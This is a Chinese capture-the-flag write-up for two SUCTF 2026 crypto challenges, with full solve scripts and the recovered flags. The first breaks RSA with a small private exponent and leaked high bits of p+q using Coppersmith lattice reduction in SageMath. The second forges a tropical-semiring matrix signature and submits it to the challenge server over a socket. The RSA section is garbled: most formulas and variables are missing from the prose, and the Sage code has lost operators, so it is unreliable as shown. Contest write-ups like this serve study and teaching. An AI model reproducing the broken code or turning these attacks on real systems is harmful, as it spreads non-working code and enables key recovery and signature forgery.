题目信息考点:RSA 密码学、部分密钥泄露 (Partial Key Exposure)、小 攻击、二元 Coppersmith 定理 (Herrmann-May 方法)、LLL 格规约。特征:已知 较小(),且题目给出了 的高位信息 (抹除了低 位)。漏洞分析题目生成参数的逻辑如下: 为 1024 bit 的 RSA 模数。 为小私钥,大小约为 。 包含了 的高位:S = p + q – (p + q) % (2**int(bits * gamma))。根据 RSA 的核心等式:
这等价于存在一个整数 ,使得:将 代入:由于等式右边对 取模为 ,我们可以得到同余方程:根据题目给出的条件,我们已知 ,设未知的低位部分为 ,则有:其中 。代入同余方程中:这是一个关于 和 的二元多项式。令 ,构造多项式:在这个多项式中:变量 对应 。由于 ,且 ,所以 。变量 对应 。根据抹零的位数,可知 。这里的模数是 。未知的乘界 。由于 显著小于模数 ,满足 Herrmann-May 提出的求解二元 Coppersmith 方程的边界条件。因此,我们可以通过构造移位多项式并使用 LLL 算法来进行格规约,求出根 和 。解题步骤提取参数:从题目输出中获取 。设定边界:设定 , 。构造格并运行 LLL:选取合适的维度(如 即可快速跑出),构造多项式矩阵,运行 LLL 规约找到短向量。结式消元求解:利用提取出的两个短多项式计算结式(Resultant),消去变量 ,求出变量 (即隐藏的低位 )。恢复 RSA 参数:通过 和 ,构造一元二次方程 ,解出 和 ,进而计算 和 ,解密密文。解题脚本 (SageMath)Pythonimport re from sage.all import *
def long_to_bytes(n): s = hex(int(n))[2:] s = ‘0’ + s if len(s) % 2 != 0 else s return bytes.fromhex(s)
1. 填入题目给定的参数 (或自动从文件提取)
此处假定 N, e, c, S 已加载
… (参数省略) …
X = 2338 Y = 2400 A = N – S + 1
PR.
2. 构造二元 Coppersmith 格
m = 3 t = 1 polys = []
for k in range(m + 1): for i in range(m – k + 1): polys.append((xi) * (fk) * (e**(m-k))) for j in range(1, t + 1): polys.append((yj) * (fk) * (e**(m-k)))
monomials = set() for p in polys: monomials.update(p.monomials()) monomials = sorted(list(monomials)) dim = len(monomials)
print(f”[] Matrix Dimension: {dim}x{dim}, Running LLL…”) M = Matrix(ZZ, dim, dim) for i, p in enumerate(polys): p_eval = p(xX, y*Y) for j, mon in enumerate(monomials): M[i, j] = p_eval.monomial_coefficient(mon)
M_LLL = M.LLL()
print(“[*] LLL done. Calculating resultants…”) polys_LLL = [] for i in range(dim): if M_LLL[i].is_zero(): continue p_new = PR(0) for j, mon in enumerate(monomials): p_new += (M_LLL[i, j] // mon(X, Y)) * mon polys_LLL.append(p_new)
3. 结式消元求 y (x0)
res = polys_LLL[0].resultant(polys_LLL[1], x) res_y = res.univariate_polynomial()
for y_root, _ in res_y.roots(): x0 = int(y_root) print(f”[+] Found x0: {x0}”)
# 4. 恢复 p, q 并解密
P_plus_Q = S + x0
R.<z> = PolynomialRing(ZZ)
eq = z**2 - P_plus_Q*z + N
pq_roots = eq.roots()
if pq_roots:
p = int(pq_roots[0][0])
q = int(N // p)
print(f"[+] Factored N!\n p = {p}\n q = {q}")
phi = (p-1)*(q-1)
d = inverse_mod(e, phi)
m_val = pow(c, d, N)
flag = long_to_bytes(m_val)
print(f"\n[+] FLAG: {flag.decode(errors='ignore')}")
break
结果运行脚本后,格规约迅速完成,成功提取出被抹去的低位 x0 并分解大整数 ,最终得到 Flag:SUCTF{congratulation_you_know_small_d_with_hint_factor}
题目:SU_Restaurant
题目目标
- 伪造一组合法“签名”矩阵:、、、、。
数学背景(tropical min-plus 半环)
- 加法:
- 乘法:
- 矩阵乘法定义为:。
服务端校验关系
- 通过条件:、、所有元素满足 ,并且矩阵在实数域上满足满秩要求(脚本里对 检查秩为 7,对 检查秩为 8)。
核心思路
-
由于 本质是逐元素取最小值,只要能让 与 在每个位置都给出足够小的候选值,就能让 这项永远不可能成为最小值,从而完全绕过隐藏的 。
-
目标是构造使得:
-
其余不希望被选中的项用较大数填充(例如 240~255),让它们在 中自然“失效”。
构造方式(与脚本一致)
- 由服务端给出的字符串(脚本中命名为
Fo0dN4mE)经过sha3_512得到 64 字节,再按行组成 的矩阵 (元素范围 0~255)。 - 选取列集合 :按每列最小值从小到大取前 4 列;选取行集合 :按每行最小值从小到大取前 3 行。
- 构造 :前 4 列直接取 的 列,后 3 列用 的随机小数填充。
- 构造 :前 4 行用 随机小数填充,后 3 行直接取 的 行。
- 构造 :在 对应的 4 行写入 的前 4 行,其余位置用 填充。
- 构造 :在 对应的 3 列写入 的后 3 列,其余位置用 填充。
- 构造 :全部用 填充。
- 随机性用于满足实数域“满秩”约束;若秩不满足则重试。
求解脚本
import socket
import json
import numpy as np
import re
from hashlib import sha3_512
from random import randint
def H(x):
if isinstance(x, str):
x = x.encode()
return [int(y, 16) for y in [sha3_512(x).hexdigest()[i:i+2] for i in range(0, 128, 2)]]
def solve(Fo0dN4mE):
tmp = H(Fo0dN4mE)
M = [[tmp[i * 8 + j] for j in range(8)] for i in range(8)]
col_mins = [min(M[i][j] for i in range(8)) for j in range(8)]
C = sorted(range(8), key=lambda x: col_mins[x])[:4]
row_mins = [min(M[i][j] for j in range(8)) for i in range(8)]
L = sorted(range(8), key=lambda x: row_mins[x])[:3]
while True:
A = [[0] * 7 for _ in range(8)]
B = [[0] * 8 for _ in range(7)]
P = [[255] * 8 for _ in range(8)]
R = [[255] * 8 for _ in range(8)]
S = [[0] * 8 for _ in range(8)]
for c in range(4):
for j in range(8):
B[c][j] = randint(0, 1)
for c in range(4, 7):
for j in range(8):
B[c][j] = M[L[c - 4]][j]
for i in range(8):
for c in range(4):
A[i][c] = M[i][C[c]]
for c in range(4, 7):
A[i][c] = randint(0, 1)
for c in range(4):
for j in range(8):
P[C[c]][j] = B[c][j]
for k in range(8):
if k not in C:
for j in range(8):
P[k][j] = randint(240, 255)
for c in range(3):
for i in range(8):
R[i][L[c]] = A[i][c + 4]
for l in range(8):
if l not in L:
for i in range(8):
R[i][l] = randint(240, 255)
for i in range(8):
for j in range(8):
S[i][j] = randint(240, 255)
if np.linalg.matrix_rank(np.array(A)) == 7 and \
np.linalg.matrix_rank(np.array(B)) == 7 and \
np.linalg.matrix_rank(np.array(P)) == 8 and \
np.linalg.matrix_rank(np.array(R)) == 8 and \
np.linalg.matrix_rank(np.array(S)) == 8:
break
return {"A": A, "B": B, "P": P, "R": R, "S": S}
if __name__ == "__main__":
s = socket.socket()
s.connect(("101.245.107.149", 10020))
def read_until(prompt):
buf = b""
while prompt.encode() not in buf:
buf += s.recv(1)
return buf.decode()
print(read_until(">>> "))
s.sendall(b"2\n")
resp = read_until(">>> ")
m = re.search(r"Please make (.+) for me!", resp)
food = m.group(1)
print(f"[*] Solving for food signature: {food}...")
payload = solve(food)
s.sendall(json.dumps(payload).encode() + b"\n")
print("\n[*] Sent crafted ingredients. Server responds:")
print(s.recv(1024).decode())
运行结果
服务端返回:Here is the FLAG: b'SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}'
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《SUCTF 2026 WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论